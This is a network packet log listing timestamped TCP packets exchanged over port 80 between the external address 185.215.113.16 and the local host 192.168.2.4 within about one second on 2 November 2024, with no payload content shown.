Nov 2, 2024 07:16:22.816705942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816719055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816720963 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816730022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816739082 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816741943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816761017 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816775084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816792965 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816803932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816812992 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816832066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816837072 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816843033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816854954 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816860914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816867113 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816878080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816888094 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816907883 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816919088 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816925049 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816936970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816945076 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816948891 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.816970110 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.816998959 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817034960 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817053080 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817064047 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817075968 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817080021 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817094088 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817095995 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817106009 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817114115 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817117929 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817128897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817141056 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817147970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817153931 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817158937 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817172050 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817182064 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817186117 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817193985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817214012 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817233086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817404032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817420959 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817433119 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817444086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817450047 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817456007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817481041 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817485094 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817493916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817502022 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817504883 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817518950 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817528963 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817532063 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817543030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817549944 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817553997 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817569017 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817596912 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817625999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817637920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817647934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817660093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817672968 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817675114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817688942 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817691088 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817702055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817713976 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817749977 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817783117 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817795038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817806005 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.817828894 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.817842007 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.859512091 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.859523058 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.859534025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.859544992 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.859600067 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.859635115 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893229008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893289089 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893300056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893311024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893322945 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893359900 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893362999 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893371105 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893382072 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893395901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893403053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893409014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893419027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893420935 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893430948 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893443108 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893467903 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893485069 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893491030 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893542051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893583059 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893599987 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893611908 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893646955 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893738031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893748999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893759966 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893770933 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893785954 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893800020 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893826008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893836021 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893842936 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893865108 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893870115 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893876076 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893878937 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893887997 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893898010 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893903971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893917084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893917084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893927097 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893943071 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893949986 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893959045 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893973112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893975973 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893984079 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.893994093 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.893995047 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894006968 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894020081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894021034 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894032955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894046068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894051075 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894058943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894061089 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894083023 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894110918 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894121885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894139051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894151926 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894161940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894172907 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894176960 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894210100 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894217968 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894226074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894256115 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894413948 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894442081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894452095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894459963 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894490957 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894541979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894553900 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894563913 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894591093 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894598961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894601107 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894610882 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894622087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894639015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894650936 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894650936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894661903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894674063 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894675016 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894704103 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894725084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894728899 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894737005 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894759893 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894762993 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894772053 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894781113 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894782066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894790888 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894814968 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894826889 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894855976 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894867897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894879103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894891024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894903898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894905090 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894913912 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.894932985 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894956112 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.894989014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895054102 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895064116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895091057 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895104885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895111084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895117044 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895154953 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895158052 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895169973 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895181894 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895195961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895224094 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895255089 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895266056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895277023 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895287991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895298004 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895298958 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895309925 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895311117 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.895338058 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.895365000 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936713934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936733961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936747074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936758995 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936770916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936780930 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936800003 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936805964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936811924 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936824083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936834097 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936844110 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936852932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936855078 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936863899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936873913 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936882973 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936893940 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936898947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936909914 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936909914 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936922073 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936933994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936945915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936954021 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936956882 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936966896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936981916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.936984062 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.936994076 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937000990 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937002897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937020063 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937020063 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937031031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937041998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937052965 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937057018 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937064886 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937074900 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937076092 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937092066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937092066 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937109947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937122107 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937122107 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937130928 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937141895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937150002 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937153101 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937163115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937165976 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937175035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937185049 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937186956 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937206030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937216043 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937227011 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937227964 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937236071 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937252998 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937258005 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937264919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937273979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937278032 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937287092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937297106 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937303066 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937309027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937320948 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937336922 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937338114 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937349081 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937360048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937365055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937365055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937371016 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937383890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937393904 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937419891 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937422037 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937431097 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937441111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937459946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937484026 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937499046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937515020 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937525988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937537909 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937561989 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937594891 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937618971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937632084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937638044 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937664986 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937725067 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937736988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937747002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937763929 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937777042 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937791109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937800884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937818050 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937827110 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937830925 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937843084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937851906 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937855005 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937879086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937887907 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937892914 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937903881 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937913895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937926054 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937928915 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937938929 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937938929 CET	63862	80	192.168.2.4	185.215.113.16
